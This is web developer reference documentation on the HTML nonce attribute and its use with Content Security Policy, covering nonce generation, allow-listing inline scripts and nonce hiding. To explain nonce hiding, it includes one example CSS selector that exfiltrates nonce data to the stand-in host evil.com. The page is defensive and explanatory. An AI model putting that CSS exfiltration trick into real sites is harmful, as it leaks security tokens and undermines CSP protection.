nonce

The nonce global attribute is a content attribute defining a cryptographic nonce ("number used once") which can be used by Content Security Policy to determine whether or not a given fetch will be allowed to proceed for a given element.

Description

The nonce attribute is useful to allow-list specific elements, such as a particular inline script or style elements. It can help you to avoid using the CSP unsafe-inline directive, which would allow-list all inline scripts or styles.

Note: Only use nonce for cases where you have no way around using unsafe inline script or style contents. If you don't need nonce, don't use it. If your script is static, you could also use a CSP hash instead. (See usage notes on unsafe inline script.) Always try to take full advantage of CSP protections and avoid nonces or unsafe inline scripts whenever possible.

Using nonce to allow-list a <script> element

There are a few steps involved to allow-list an inline script using the nonce mechanism:

Generating values

From your web server, generate a random base64-encoded string of at least 128 bits of data from a cryptographically secure random number generator. Nonces should be generated differently each time the page loads (nonce only once!). For example, in nodejs:

const crypto = require('crypto');
crypto.randomBytes(16).toString('base64');
// '8IBTHwOdqNKAWeKl7plt8g=='

Allow-listing inline script

The nonce generated on your backend code should now be used for the inline script that you'd like to allow-list:

<script nonce="8IBTHwOdqNKAWeKl7plt8g=="></script>

Sending a nonce with a CSP header

Finally, you'll need to send the nonce value in a Content-Security-Policy header (prepend nonce-):

Content-Security-Policy: script-src 'nonce-8IBTHwOdqNKAWeKl7plt8g=='

Accessing nonces and nonce hiding

For security reasons, the nonce content attribute is hidden (an empty string will be returned).

script.getAttribute('nonce'); // returns empty string

The nonce property is the only way to access nonces:

script.nonce; // returns nonce value

Nonce hiding helps prevent attackers from exfiltrating nonce data via mechanisms that can grab data from content attributes like this:

script[nonce~=whatever] {
  background: url("https://evil.com/nonce?whatever");
}

Specifications

Specification
HTML Standard (HTML)
# attr-nonce

Browser compatibility

BCD tables only load in the browser

See also